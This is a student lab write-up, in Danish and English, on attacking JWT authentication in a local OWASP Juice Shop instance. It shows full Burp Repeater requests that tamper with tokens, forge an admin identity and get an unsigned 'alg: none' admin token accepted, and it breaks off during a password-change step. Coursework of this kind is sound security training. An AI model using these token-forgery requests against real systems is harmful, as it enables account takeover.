Skip to content

Øvelse 13 – Angreb på Autentificering & Tokens

Forfatter: Mathias Greisen

Dato: 2026-10-09

Fag/modul: IT-sikkerhed i Webapplikationer

Status: I gang


1. Beskrivelse af øvelsen

Igennem øvelser at kunne identificere og misbruge svagheder i token-baseret autentificering.


2. Trin / Svar

Introduktion til JWT tokens

  1. Skifte af sub ændrer lidt i starten/midten af payload delen (2. del) af token.

  2. Skifte af iat ændrer det sidste af payload delen (2. del) af token.

  3. Ved at decode fra base64 kan man se både header (1. del) og payload (2.del) i plaintext.

    • Signaturen kan selvfølgelig ikke decodes da denne er en hash værdi.

Manipulating the JWT Payload

  • Which part of the application accepted the forged token, and why might that be?

    • Dashboard acceptede den, må være fordi at token hash og dermed header og payload ikke tjekkes imod den private nøgle. Den tager blot det der står i token for gode varer.
  • What are the risks of placing roles or user identifiers directly in a JWT payload?

    • At de kan blive ændret. Man skal derfor sikre at alle endpoints tjekker om det er blevet ændret, evt via middleware.
  • How can developers securely validate JWT tokens?

    • Ved at bruge deres private key og hashe header og payload, dette skal gerne give den samme signatur som da token blev oprettet.

Basic Attacks Against Authentication Tokens in Juice Shop

  1. Create or reuse a Juice Shop user account.

  2. Authenticate with that user and capture a GET request to /rest/user/whoami (There will be multiple GET request to the path, so it is the one with a 200 OK response, and a JWT token in the Authorization header).

  3. Send the request to Burp Repeater.

  4. Inspect the request: note the Authorization token present in both the Header and Cookie.

    Request
    GET /rest/user/whoami HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Connection: keep-alive
    
    Response
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    Content-Length: 127
    ETag: W/"7f-cfRabHpgCa0fKpYq4mCwtSiKjOM"
    Vary: Accept-Encoding
    Date: Fri, 09 Oct 2026 14:39:34 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "user":{
        "id":23,
        "email":"usera@mail.test",
        "lastLoginIp":"0.0.0.0",
        "profileImage":"/assets/public/images/uploads/default.svg"
    }
    }
    
  5. Modify the token in the Header by appending a character; resend and observe the response.

    Request
    GET /rest/user/whoami HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh04
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Connection: keep-alive
    
    Response
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    Content-Length: 127
    ETag: W/"7f-cfRabHpgCa0fKpYq4mCwtSiKjOM"
    Vary: Accept-Encoding
    Date: Fri, 09 Oct 2026 14:42:23 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "user":{
        "id":23,
        "email":"usera@mail.test",
        "lastLoginIp":"0.0.0.0",
        "profileImage":"/assets/public/images/uploads/default.svg"
    }
    }
    
    • Responsen er ikke ændret.
  6. Modify the token in the Cookie similarly; resend and observe the response.

    Request
    GET /rest/user/whoami HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh04
    If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Connection: keep-alive
    
    Response
    HTTP/1.1 304 Not Modified
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    ETag: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Date: Fri, 09 Oct 2026 14:43:31 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    • Nu får vi ikke den samme respons. Vi er ikke autoriseret.
  7. Try to Remove the Authorization header completely and resend; note if the response is still 200 OK, and what is the response?

    Request
    GET /rest/user/whoami HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MjMsInVzZXJuYW1lIjoiIiwiZW1haWwiOiJ1c2VyYUBtYWlsLnRlc3QiLCJwYXNzd29yZCI6ImVjYzQyMDhhNzc3OGMxZDc2ZTdlODljNTI1MzEyOGM1Iiwicm9sZSI6ImN1c3RvbWVyIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IjAuMC4wLjAiLCJwcm9maWxlSW1hZ2UiOiIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZWZhdWx0LnN2ZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3JlYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwidXBkYXRlZEF0IjoiMjAyNi0xMC0wOSAxNDozNjozOC42NjYgKzAwOjAwIiwiZGVsZXRlZEF0IjpudWxsfSwiaWF0IjoxNzkxNTU2NjIyfQ.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Connection: keep-alive
    
    Response
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Content-Type: application/json; charset=utf-8
    Content-Length: 127
    ETag: W/"7f-cfRabHpgCa0fKpYq4mCwtSiKjOM"
    Vary: Accept-Encoding
    Date: Fri, 09 Oct 2026 14:43:54 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "user":{
        "id":23,
        "email":"usera@mail.test",
        "lastLoginIp":"0.0.0.0",
        "profileImage":"/assets/public/images/uploads/default.svg"
    }
    }
    
    • Nu får vi data tilbage igen som oprindeligt. Header token bliver altså ikke brugt.
  8. Which token the does server use for validation on this request path?, and which does it use for autentication?

    • Den bruger cookie token.
  9. Change the request back to its original state before moving on.

  10. Using the JWT Editor tab in Burp Repeater, change the payload:

    • Set email to admin@juice-sh.op
    • Set id to 1 (We know from earlier, that user id's are given sequencelly)
  11. Resend the request with the modified token and observe the status code (likely 304).

    Request
    GET /rest/user/whoami HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.MlQD4qX06cBNuyULpOzcDdBZtViz_LldF0TMcgSM2AA6UZd2MipqULYJUck3SUMSXCcxkLkRuhMpjuPoJAJ87CVGHbFFXk6vXsjlovzuPXP383dlYIQD79jHyu16zGhf-5cXD_ut7CEh4BVSGfowCiNeK6Wuq_lQOoUthnPICh0
    If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Connection: keep-alive
    
    Response
    HTTP/1.1 304 Not Modified
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    ETag: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Date: Fri, 09 Oct 2026 14:47:58 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
  12. In Burp Repeater’s JWT Editor, click Attack → none signing Algorithm to:

    • Set alg to none in the JWT header
    • Removes the signature entirely, and sets header alg to None (token format:
      ..)
  13. Send the unsigned token request and confirm you receive a 200 OK response.

    Request
    GET /rest/user/whoami HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
    Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.
    Accept-Language: da-DK,da;q=0.9
    Accept: application/json, text/plain, */*
    sec-ch-ua: "Chromium";v="151", "Not=A?Brand";v="99"
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    sec-ch-ua-mobile: ?0
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:3000/
    Accept-Encoding: gzip, deflate, br
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=JnQj9WreogKEpzY63yO7DAOkfm8u35IZatP3unrAlXk1xmvq2B45ZbMVRNLa; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.
    If-None-Match: W/"b-/5bSboVjVhGw3qRgvUfZjE1r1Ns"
    Connection: keep-alive
    
    Response
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Feature-Policy: payment 'self'
    X-Recruiting: /#/jobs
    Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.; Path=/
    Content-Type: application/json; charset=utf-8
    Content-Length: 128
    ETag: W/"80-zqrGgSA7hFv/hSKK0bOXEisP6Js"
    Vary: Accept-Encoding
    Date: Fri, 09 Oct 2026 14:48:57 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    {
    "user":{
        "id":1,
        "email":"admin@juice-sh.op",
        "lastLoginIp":"0.0.0.0",
        "profileImage":"/assets/public/images/uploads/default.svg"
    }
    }
    
  14. Save this unsigned token admin for subsequent steps.

    eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiJlY2M0MjA4YTc3NzhjMWQ3NmU3ZTg5YzUyNTMxMjhjNSIsInJvbGUiOiJjdXN0b21lciIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIwLjAuMC4wIiwicHJvZmlsZUltYWdlIjoiL2Fzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdC5zdmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMTAtMDkgMTQ6MzY6MzguNjY2ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc5MTU1NjYyMn0.
    
  15. Capture a password change request and send it to Repeater.

  16. Replace the token in the Authorization header and Cookie with the unsigned admin token.

    Request
    GET /rest/user/change-password?current=Test1234!&new=hazel&repeat=hazel HTTP/1.1
    Host: 127.0.0.1:3000
    sec-ch-ua-platform: "Windows"
